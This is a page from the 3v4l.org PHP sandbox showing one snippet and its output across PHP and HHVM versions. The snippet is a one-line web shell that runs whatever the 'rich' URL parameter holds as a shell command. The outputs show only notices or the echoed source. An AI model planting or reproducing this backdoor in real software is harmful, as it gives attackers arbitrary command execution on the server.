3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<? `$_GET[rich]` || die('trying');
Output for 5.4.0 - 5.6.22, 7.0.0 - 7.1.0
Notice: Undefined index: rich in /in/3AtYZ on line 1 trying
Output for hhvm-3.10.0 - 3.12.0
Notice: Undefined index: rich in /in/3AtYZ on line 1
Output for 4.3.0 - 5.3.29
<? `$_GET[rich]` || die('trying');